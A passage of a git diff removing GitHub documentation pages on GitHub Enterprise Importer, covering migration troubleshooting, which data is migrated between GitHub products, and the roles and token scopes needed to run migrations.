[AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops) - * [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server) - * [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products) - -1. Try running the migration again. Some migrations issues are transient, and a second attempt may work. -1. Try running a migration on a different repository with similar data. This will help determine whether the issue is unique to the repository or represents a broader data shape problem. - -If these steps do not resolve your issue, review the migration logs for error messages. The log you need to check will depend on whether your migration failed or succeeded. - -## Troubleshooting failed migrations - -If your migration fails, review the verbose log entries produced by the {% data variables.product.prodname_cli %} for each migration. The log file is saved in the same directory where you ran the migration. - -The log contains a record of each command you issued and all of the API requests that the {% data variables.product.prodname_cli %} made in response. Failures and error messages normally appear towards the end of the log. - -* [Unable to run migration](#unable-to-run-migrations) -* [Resource is protected by organization SAML enforcement](#resource-is-protected-by-organization-saml-enforcement) -* [`401 Unauthorized` response](#401-unauthorized-response) -* [`404 Not Found` response](#404-not-found-response) -* [`Archive generation failed` response](#archive-generation-failed-response) -* [`cipher name is not supported` error](#cipher-name-is-not-supported-error) -* [`Subsystem 'sftp' could not be executed` error](#subsystem-sftp-could-not-be-executed-error) -* [`Source export archive... does not exist` error](#source-export-archive-does-not-exist-error) -* [`Repository rule violations found` error](#repository-rule-violations-found-error) -* [`Your push would publish a private email address` error](#your-push-would-publish-a-private-email-address-error) - -### Unable to run migrations - -If you see an error like `No access to createMigrationMutation` or `Missing permissions`, your personal account does not have the required access to run the migration. Make sure you're either an organization owner or have been granted the migrator role. For more information about granting the migrator role, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer). - -> [!NOTE] -> If you're migrating between {% data variables.product.company_short %} products, make sure you're an organization owner or have been granted the migrator role for both the source and target organizations. - -### Resource is protected by organization SAML enforcement - -This error indicates that a {% data variables.product.pat_generic %} you provided to the {% data variables.product.prodname_cli %} needs to be authorized for use with SAML single sign-on. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). - -### `401 Unauthorized` response - -Failures that include a `401` status code usually indicate that the {% data variables.product.pat_generic %} you provided to the {% data variables.product.prodname_cli %} does not have the required scopes. Verify the scopes on the {% data variables.product.pat_generic %}s you provided. For more information about required scopes, see the appropriate article for your migration path. - - * [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#required-scopes-for-personal-access-tokens) - * [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-scopes-for-personal-access-tokens) - * [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products#required-scopes-for-personal-access-tokens) - -### `404 Not Found` response - -Failures that include a `404` status code usually indicate a typo in one of your commands. Review the migration log for the exact command you entered, and check for typos in the source repository, organization, or project. - -### `Archive generation failed` response - -If you receive a `Archive generation failed...` response when migrating from {% data variables.product.prodname_ghe_server %}, your repository is probably too large. For more information about repository size limits, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products#data-that-is-migrated-from-github-enterprise-server). - -First, try excluding releases from the migration by using the `--skip-releases` flag with the `migrate-repo` command. - -If that doesn't work, we'd recommend upgrading to {% data variables.product.prodname_ghe_server %} 3.8.0 or later. If you're unable to upgrade, another option is to generate your repository archives manually using `ghe-migrator`: - -1. Generate a migration archive for your repository. You must only export one repository at a time. For instructions, see [Exporting migration data from your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest{% endif %}/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise){% ifversion ghes %}.{% else %} in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} -1. Upload your migration archive to your choice of blob storage provider. -1. Generate a short-lived URL for your migration archive which is accessible to {% data variables.product.prodname_dotcom %}, such as an AWS S3 pre-signed URL or Azure Blob Storage SAS URL. -1. Call the `migrate-repo` command with the `--git-archive-url` and `--metadata-archive-url` flags both set to the URL of your archive from the previous step. - -### `cipher name is not supported` error - -If you're migrating from Bitbucket Server and receive an error like `cipher name aes256-ctr for openssh key file is not supported` when running a migration, your SSH private key uses an unsupported cipher. For more information about supported ciphers, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server#required-permissions-for-bitbucket-server). - -To generate a new, compatible SSH keypair, run the following command: - -```shell copy -ssh-keygen -t ed25519 -Z aes256-cbc -C "your_email@example.com" -``` - -After generating a new SSH keypair, before you can use the key, you must add the public key to your Bitbucket Server instance's `authorized_keys`. - -### `Subsystem 'sftp' could not be executed` error - -If you're migrating from Bitbucket Server and receive an error like `Subsystem 'sftp' could not be executed`, SFTP is not enabled on your server or your user account does not have SFTP access. - -You should contact your server administrator and ask them to enable SFTP access for your user account. - -### `Source export archive... does not exist` error - -If you're migrating from Bitbucket Server and you receive an error like `Source export archive (/var/atlassian/application-data/bitbucket/shared/migration/export/Bitbucket_export_1.tar) does not exist`, the {% data variables.product.prodname_cli %} is looking for your migration archive in the wrong place on your Bitbucket Server instance. - -To resolve this issue, set the `--bbs-shared-home` argument for `gh bbs2gh migrate-repo` to your Bitbucket Server or Data Center's shared home directory. The default shared home directory is `/var/atlassian/application-data/bitbucket/shared`, but your configuration may be different. - -You can identify the shared home directory in Bitbucket Server. - -1. Navigate to the Administration area of your Bitbucket Server or Data Center instance. -1. In the sidebar, under "System," click **Storage**. -1. Under "Shared directory," view the location of your server's shared home directory. - -If you're running Bitbucket Data Center in cluster mode with multiple notes, your shared directory will be shared between cluster nodes and should be mounted in the same location on each node. - -### `Repository rule violations found` error - -If you receive a `Repository rule violations found` error, such as `GH013: Repository rule violations found for refs/heads/main`, data in the origin repository conflicts with rulesets configured on the destination organization. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -You can temporarily disable your rulesets during your migration, or you can use bypass mode or the bypass list to exempt your migration from configured rules. For more information, see [AUTOTITLE]({% ifversion repo-rules-enterprise %}{% else %}/enterprise-cloud@latest{% endif %}/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization). - -### `Your push would publish a private email address` error - -If you receive a `Git source migration failed` error with `GH007: Your push would publish a private email address`, the Git source you're trying to migrate includes commits authored by an email address that you have blocked from being pushed to {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE]({% ifversion not fpt or ghec %}/enterprise-cloud@latest{% endif %}/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address){% ifversion fpt or ghec %}.{% else %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -To resolve this error, you can either rewrite the Git history to remove the email address, or you can disable the "Block command line pushes that expose my email" setting. - -## Understanding migration log warnings - -Even if your migration succeeds, you should still review the migration log to check for warnings. - -Warnings in the migration log point to specific items within the repository which could not be migrated. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer). - -{% data reusables.enterprise-migration-tool.migration-log-errors-okay %} - -* [Warning: "Repository metadata too big to migrate"](#warning-repository-metadata-too-big-to-migrate) -* [Warning: "Comment not in diff"](#warning-comment-not-in-diff) -* [Warning: "Pull Request Review...could not be imported due to REVIEW_THREAD_MISSING_END_COMMIT_OID error"](#warning-pull-request-reviewcould-not-be-imported-due-to-review_thread_missing_end_commit_oid-error) -* [Team references are broken after an organization migration](#team-references-are-broken-after-an-organization-migration) - -### Warning: "Repository metadata too big to migrate" - -If you see "Repository metadata too big to migrate" in the "Migration Log" issue or the {% data variables.product.prodname_cli %}, your repository exceeds the maximum archive size of 10 GB. This is often caused by large release assets. Try excluding releases from the migration with the `--skip-releases` flag for the `migrate-repo` command. - -### Warning: "Comment not in diff" - -If you're migrating from Azure DevOps, pull request comments on lines that were never changed in the pull request cannot be migrated to {% data variables.product.prodname_dotcom %}. You'll see this warning for every comment that cannot be migrated for this reason. - -> [!NOTE] -> Only comments on lines that weren't changed in a pull request are affected by this limitation. Comments on lines that were changed in a pull request are migrated. - -Be aware that the affected comments will not be in the migrated repository, but these warnings do not require further action from you. - -### Warning: "Pull Request Review...could not be imported due to REVIEW_THREAD_MISSING_END_COMMIT_OID error" - -This warning occurs where a pull request review could not be migrated because the commit that the review is attached to no longer exists. - -This usually happens where commits have been removed with a force push, or a branch has been deleted. - -In this case, the comments are not lost, but are migrated as inline pull request comments to preserve history, rather than as a review attached to a specific commit. - -### Team references are broken after an organization migration - -{% data reusables.enterprise-migration-tool.team-references %} - -You can either update these references after the migration, or you can preserve your team names by renaming the source organization so that you can use the original name for your destination organization. - -For example, if your source organization is `@octo-org`, and your `CODEOWNERS` file includes a reference to the team `@octo-org/octo-team`, you could rename the source organization to `@octo-org-temp` before your migration, allowing you to use `@octo-org` as the name of the new organization. Then, the migrated team would be called `@octo-org/octo-team`, and the `CODEOWNERS` file in the migrated repository will work as expected. - -## Locked repositories - -After a migration, you may find that your source or destination repositories are locked, disabling access to the repository's code and all of its resources, such as issues and pull requests. For more information about locked repositories, see [AUTOTITLE](/migrations/overview/about-locked-repositories). - -The process for unlocking a repository depends on the {% data variables.product.prodname_dotcom %} product where the repository is stored. - -* If the locked repository is on {% data variables.product.prodname_ghe_server %}, a site administrator can unlock the repository using the site admin dashboard. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-repositories-in-your-enterprise/locking-a-repository){% ifversion ghes %}.{% else %} in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} -* If the locked repository is on {% data variables.product.prodname_dotcom_the_website %}, you can contact {% data variables.contact.contact_support %} to unlock the repository. - -> [!NOTE] -> If your migration failed, not all of your data was migrated. If you choose to unlock and use the repository, there will be data loss. Deleting the locked repository and retrying the migration may be a better option. - -## Contacting {% data variables.contact.github_support %} - -If you're still unable to resolve your issue after trying the troubleshooting steps above, you can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_enterprise_portal %}. diff --git a/content/migrations/using-github-enterprise-importer/index.md b/content/migrations/using-github-enterprise-importer/index.md deleted file mode 100644 index 81f1b7f4cfd6..000000000000 --- a/content/migrations/using-github-enterprise-importer/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Using GitHub Enterprise Importer -shortTitle: GitHub Enterprise Importer -intro: 'You can migrate your enterprise to {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_importer_proper_name %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /understanding-github-enterprise-importer - - /migrating-from-azure-devops-to-github-enterprise-cloud - - /migrating-from-bitbucket-server-to-github-enterprise-cloud - - /migrating-between-github-products - - /completing-your-migration-with-github-enterprise-importer -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-ae/migrating-repositories-from-azure-devops-to-github-ae - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-ae/migrating-repositories-from-githubcom-to-github-ae - - /early-access/github/migrating-with-github-enterprise-importer/migrating-to-github-ae-with-the-importer - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/running-a-migration-to-github-ae - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-ae - - /early-access/enterprise-importer ---- diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products.md deleted file mode 100644 index e7e2de47a741..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: About migrations between GitHub products -shortTitle: About migrations -intro: 'Learn which data {% data variables.product.prodname_importer_proper_name %} can migrate between {% data variables.product.company_short %} products.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About migrations between {% data variables.product.company_short %} products - -With {% data variables.product.prodname_importer_proper_name %}, you can migrate data from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}, or migrate data from {% data variables.product.prodname_dotcom_the_website %} to another account on {% data variables.product.prodname_ghe_cloud %}. - -For example, {% data variables.product.prodname_importer_proper_name %} can help your company to: - -* Adopt {% data variables.enterprise.data_residency %} by migrating your enterprise to {% data variables.enterprise.data_residency_site %} -* Adopt certain features on {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.product.prodname_emus %} or new billing models, by migrating between enterprises on {% data variables.product.prodname_dotcom_the_website %} -* Benefit from simplified administration and new features by migrating from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} - -If your migration source is an account on {% data variables.product.prodname_dotcom_the_website %}, you can migrate individual repositories between organizations, or migrate entire organizations between enterprises. If your migration source is {% data variables.product.prodname_ghe_server %}, you can migrate individual repositories. - -The data that {% data variables.product.prodname_importer_proper_name %} migrates depends on the source of the migration and whether you are migrating a repository or organization. - -{% ifversion repo-rules-enterprise %} -{% data reusables.enterprise-migration-tool.deploy-key-bypass %} -{% endif %} - -## Considerations for migrations to {% data variables.product.prodname_ghe_cloud %} - -Before you use {% data variables.product.prodname_importer_proper_name %}, understand the following considerations: - -* If you **already use {% data variables.product.prodname_ghe_cloud %}**: A {% data variables.product.prodname_enterprise %} plan entitles you to one deployment of {% data variables.product.prodname_ghe_cloud %}. - - For example, if you already use {% data variables.product.prodname_dotcom_the_website %}, and you also want to migrate from {% data variables.product.prodname_ghe_server %} to {% data variables.enterprise.data_residency_site %}, your usage for both won't be covered under a single plan. -* If you're **migrating to {% data variables.product.prodname_emus %}**: You will need to integrate with an identity provider to manage user accounts. Check the level of support for your identity provider before you start. See [AUTOTITLE](/enterprise-cloud@latest/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems). -* If you're **migrating from {% data variables.product.prodname_ghe_server %}**: Be aware that {% data variables.product.company_short %} applies rate limits to certain actions, which are disabled by default on {% data variables.product.prodname_ghe_server %}. See [AUTOTITLE](/enterprise-cloud@latest/rest/using-the-rest-api/rate-limits-for-the-rest-api). -* If you're **migrating to {% data variables.enterprise.data_residency %}**: Be aware that certain features are unavailable, and some features require different or additional configuration. See [AUTOTITLE](/enterprise-cloud@latest/admin/data-residency/feature-overview-for-github-enterprise-cloud-with-data-residency). - -## Data that is migrated from {% data variables.product.prodname_ghe_server %} - -To migrate from {% data variables.product.prodname_ghe_server %} (GHES), you must have GHES version 3.4.1 or higher. The data that is migrated depends on the version you're using. - -Item | GHES 3.4.1+ | GHES 3.5.0+ | ----- | ---------- | ---------- | -Git source (including commit history) | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Pull requests | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Issues | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Milestones | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Wikis | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -{% data variables.product.prodname_actions %} workflows | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Commit comments | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Webhooks (must be re-enabled after your migration, see [Enabling webhooks](/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products#enabling-webhooks)) | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Branch protections | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -{% data variables.product.prodname_pages %} settings | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -User history for the above data | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Attachments (see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/attaching-files)) | {% octicon "check" aria-label="Can be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | -Releases | {% octicon "x" aria-label="Cannot be migrated" %} | {% octicon "check" aria-label="Can be migrated" %} | - -Different size limits per repository apply depending on your GHES version. - -Limit | GHES <3.8.0 | GHES 3.8.0+ | ------ | ----------- | ----------- | -Git source | 2GB | 10GB -Metadata | 2GB | 10GB - -### Data that is not migrated - -Currently, the following data is **not** migrated. - -{% data reusables.enterprise-migration-tool.data-not-migrated %} -* Teams -* User or team access to the repository -* Repository settings for pull requests - -### Branch protections - -{% data reusables.enterprise-migration-tool.branch-protection-migration %} - -## Data that is migrated from {% data variables.product.prodname_dotcom_the_website %} - -If your migration source is an account on {% data variables.product.prodname_dotcom_the_website %}, you can migrate individual repositories between organizations, or migrate entire organizations between enterprises. - -### Migrated data for an organization - -When you migrate an organization, a new organization is created within the destination enterprise account. Then, the following data is migrated to the new organization. - -* Teams -* Repositories -* Team access to repositories -* Member privileges -* Organization-level webhooks (must be re-enabled after your migration, see [Enabling webhooks](/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products#enabling-webhooks)) -* Default branch name for new repositories created in the organization - -All repositories are migrated with private visibility. If you want to set a repository's visibility to public or internal, you can do this after the migration using the UI or API. - -Team membership is **not** migrated. After the migration, you'll need to add members to migrated teams. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products#recreating-teams). - -> [!NOTE] -> {% data reusables.enterprise-migration-tool.team-references %} For more information about how to prevent and resolve these issues, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#team-references-are-broken-after-an-organization-migration). - -### Migrated data for a repository - -When you migrate a repository, either directly or as part of an organization migration, only the following data is migrated. - -* Git source (including commit history) -* Pull requests -* Issues -* Milestones -* Wikis (excluding attachments) -* {% data variables.product.prodname_actions %} workflows -* Commit comments -* Active webhooks (must be re-enabled after your migration, see [Enabling webhooks](/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products#enabling-webhooks)) -* Repository topics -* Repository settings - * Branch protections (see [Branch protections](#branch-protections) for more details) - * {% data variables.product.prodname_pages %} settings - * Autolink references - * Pull request settings - * Automatically delete head branches - * Allow auto-merge - * Allow merge commits (commit message setting is reset to the default message) - * Allow squash merging (commit message setting is reset to the default message) - * Allow rebase merging -* Releases (up to 10 GB per repository) -* User history for the above data -* Attachments (see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/attaching-files)) - -### Data that is not migrated - -Currently, the following data is **not** migrated. - -* {% data variables.product.prodname_codespaces %} secrets -{% data reusables.enterprise-migration-tool.data-not-migrated %} -* User access to the repository - -When you migrate a repository directly, teams and team access to repositories are not migrated. - -#### Branch protections - -{% data reusables.enterprise-migration-tool.branch-protection-migration %} - -## Limitations on migrated data - -{% data reusables.enterprise-migration-tool.limitations-of-migrated-data %} - -## Getting started - -Before you migrate between {% data variables.product.company_short %} products, you should plan out how you will run your migration. Before migrating any data, you will need to choose someone to run the migration. You must grant that person the necessary access for both the source and the destination of the migration. We also recommend you run a trial migration first. - -For an overview of the migration process from beginning to end, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/overview-of-a-migration-between-github-products). diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/index.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/index.md deleted file mode 100644 index 9c057c2523e7..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Migrating between GitHub products -shortTitle: Migrate between GitHub products -intro: 'With {% data variables.product.prodname_importer_proper_name %}, you can migrate from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}, or migrate between accounts on {% data variables.product.prodname_ghe_cloud %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-migrations-between-github-products - - /overview-of-a-migration-between-github-products - - /managing-access-for-a-migration-between-github-products - - /migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud - - /migrating-repositories-from-githubcom-to-github-enterprise-cloud - - /migrating-organizations-from-githubcom-to-github-enterprise-cloud ---- - diff --git a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products.md b/content/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products.md deleted file mode 100644 index 034e79eb0c40..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-between-github-products/managing-access-for-a-migration-between-github-products.md +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Managing access for a migration between GitHub products -shortTitle: Manage access -intro: 'Before you use {% data variables.product.prodname_importer_proper_name %}, make sure you have appropriate access to both the source and destination of your migration.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/running-a-migration-with-github-enterprise-importer/managing-access-for-github-enterprise-importer - - /early-access/enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/managing-access-for-github-enterprise-importer - - /migrations/using-github-enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/managing-access-for-github-enterprise-importer - - /early-access/enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/granting-the-migrator-role-for-github-enterprise-importer - - /migrations/using-github-enterprise-importer/preparing-to-migrate-with-github-enterprise-importer/granting-the-migrator-role-for-github-enterprise-importer ---- - -## About required access for {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.required-access-intro %} - -To run a migration, you need sufficient access to both the source and the destination for your migration. - -### What are my source and destination? - -The source is the organization on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_ghe_server %} from which you want to migrate data. - -The destination can be: - -* An **organization** account on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}, if you're migrating repositories -* An **enterprise** account on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}, if you're migrating an entire organization - -### What access do I need? - -To have sufficient access for the migration, for **both the source and the destination**, you need the following things. -* A required role in the organization or enterprise account -* A {% data variables.product.pat_generic %} that can access the organization or enterprise account - * The {% data variables.product.pat_generic %} must have all the required scopes, which depend on your role and the task you want to complete. - * If the source or destination uses SAML single sign-on for {% data variables.product.prodname_dotcom_the_website %}, you must authorize the {% data variables.product.pat_generic %} for SSO. - -Additionally, if you use IP allow lists with the source or destination, you may need to configure the allow lists to allow access by {% data variables.product.prodname_importer_proper_name %}. - -If you're migrating from {% data variables.product.prodname_ghe_server %} 3.8 or higher for the first time, you also need someone with access to the {% data variables.enterprise.management_console %} to set up blob storage for {% data variables.location.product_location_enterprise %}. - -## About the migrator role - -{% data reusables.enterprise-migration-tool.about-the-migrator-role %} - -> [!NOTE] -> * If you're migrating a repository between two organizations, you can grant the migrator role to the same person or team for both organizations, but you must grant each separately. -> * You cannot grant the migrator role for enterprise accounts. Therefore, you can only run an organization migration if you're an owner of the destination enterprise. However, you can grant the migrator role to that enterprise owner for the source organization. -> * The {% data variables.product.prodname_cli %} does not support granting the migrator role for organizations on {% data variables.product.prodname_ghe_server %}, so you must be an organization owner of the source organization to migrate repositories from {% data variables.product.prodname_ghe_server %}. - -## Required roles - -For the source and destination of the migration, different roles are required for different tasks. - -### Source organization - -The following table lists which roles can perform which tasks. - -Task | Organization owner | Migrator | ----- | ------- | ----- | -Running a migration | {% octicon "check" aria-label="Can perform" %} | {% octicon "check" aria-label="Can perform" %} | -Assigning the migrator role for repository migrations | {% octicon "check" aria-label="Can perform" %} | {% octicon "x" aria-label="Cannot perform" %} | - -### Destination organization or enterprise - -The following table lists which roles can perform which tasks. - -Task | Enterprise owner | Organization owner | Migrator | ----- | ------------ | ------- | ----- | -Migrating organizations to an enterprise | {% octicon "check" aria-label="Can perform" %} | {% octicon "x" aria-label="Cannot perform" %} | {% octicon "x" aria-label="Cannot perform" %} | -Assigning the migrator role for repository migrations | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "check" aria-label="Can perform" %} | {% octicon "x" aria-label="Cannot perform" %} | -Migrating repositories to an organization | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "check" aria-label="Can perform" %} | {% octicon "check" aria-label="Can perform" %} | -Downloading a migration log | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "check" aria-label="Can perform" %} | {% octicon "check" aria-label="Can perform" %} | -Reclaiming mannequins | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "check" aria-label="Can perform" %} | {% octicon "x" aria-label="Cannot perform" %} | - -## Required scopes for {% data variables.product.pat_generic %}s - -To run a migration, you need a {% data variables.product.pat_generic %} that can access the destination organization (for repository migrations) or enterprise account (for organization migrations). You also need another {% data variables.product.pat_generic %} that can access the source organization. - -For other tasks, such as downloading a migration log, you only need one {% data variables.product.pat_generic %} that can access the target of the operation. - -The scopes that are required for your {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %} depend on your role and the task you want to complete. - -> [!NOTE] -> {% data reusables.user-settings.generic-classic-pat-only %} This means that you cannot use {% data variables.product.prodname_importer_proper_name %} if your organization uses the "Restrict {% data variables.product.pat_v1_plural %} from accessing your organizations" policy. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise#restricting-access-by-personal-access-tokens). - -Task | Enterprise owner | Organization owner | Migrator ----- | ------------------ | -------- | ----- | -Assigning the migrator role for repository migrations | {% octicon "dash" aria-label="Not applicable" %} | `admin:org` | {% octicon "dash" aria-label="Not applicable" %} -Running a repository migration (destination organization) | {% octicon "dash" aria-label="Not applicable" %} | `repo`, `admin:org`, `workflow` | `repo`, `read:org`, `workflow` -Downloading a migration log | {% octicon "dash" aria-label="Not applicable" %} | `repo`, `admin:org`, `workflow` | `repo`, `read:org`, `workflow` -Reclaiming mannequins | {% octicon "dash" aria-label="Not applicable" %} | `admin:org` | {% octicon "dash" aria-label="Not applicable" %} -Running a migration (source organization) | {% octicon "dash" aria-label="Not applicable" %} | `admin:org`, `repo` | `admin:org`, `repo` | -Running an organization migration (destination enterprise) | `read:enterprise`, `admin:org`, `repo`, `workflow` | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -## Granting the migrator role - -To allow someone other than an organization owner to run a repository migration or download migration logs, you can grant the migrator role to a user or team. For more information, see [About the migrator role](#about-the-migrator-role). - -You can grant the migrator role using either the {% data variables.product.prodname_gei_cli %} or the GraphQL API. - -* [Granting the migrator role with the {% data variables.product.prodname_gei_cli_short %}](#granting-the-migrator-role-with-the-gei-extension) -* [Granting the migrator role with the GraphQL API](#granting-the-migrator-role-with-the-graphql-api) - -### Granting the migrator role with the {% data variables.product.prodname_gei_cli_short %} - -To grant the migrator role using the CLI, you must have installed the {% data variables.product.prodname_gei_cli %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-githubcom-to-github-enterprise-cloud#step-1-install-the-gei-extension-of-the-github-cli). - -1. On {% data variables.product.prodname_dotcom_the_website %}, create and record a {% data variables.product.pat_generic %} that meets all the requirements for granting the migrator role. For more information, see [Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_importer_proper_name %}](#creating-a-personal-access-token-for-github-enterprise-importer). -{% data reusables.enterprise-migration-tool.grant-migrator-role-pat %} -1. Use the `gh gei grant-migrator-role` command, replacing ORGANIZATION with the organization you want to grant the migrator role for, ACTOR with the user or team name, and TYPE with `USER` or `TEAM`. - - ```shell copy - gh gei grant-migrator-role --github-org ORGANIZATION --actor ACTOR --actor-type TYPE - ``` - - {% data reusables.enterprise-migration-tool.grant-migrator-role-ghecom %} - -### Granting the migrator role with the GraphQL API - -{% data reusables.enterprise-migration-tool.grant-migrator-role-graphql %} - -## Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.creating-a-pat-steps %} - -## Configuring IP allow lists for migrations - -{% data reusables.enterprise-migration-tool.configuring-ip-allow-lists %} - -If the source of your migration is {% data variables.product.prodname_ghe_server %}, you do not need to add any {% data variables.product.prodname_dotcom %} IP ranges to your firewall configuration or the IP allow list on {% data variables.location.product_location_enterprise %}. However, depending on the setup of your blob storage provider, you may need to update your blob storage provider's configuration to allow access to the {% data variables.product.prodname_dotcom %} IP ranges below. - -### IP ranges for {% data variables.product.prodname_dotcom_the_website %} - -{% data reusables.enterprise-migration-tool.identifying-githubs-ip-ranges %} - -### IP ranges for {% data variables.enterprise.data_residency_site %} - -{% data reusables.enterprise-migration-tool.ip-ranges-ghecom %} - -In addition, if you are migrating from {% data variables.product.prodname_ghe_server %} and using a blob storage account with firewall rules: - -{% data reusables.enterprise-migration-tool.extra-requirements-storage %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) diff --git 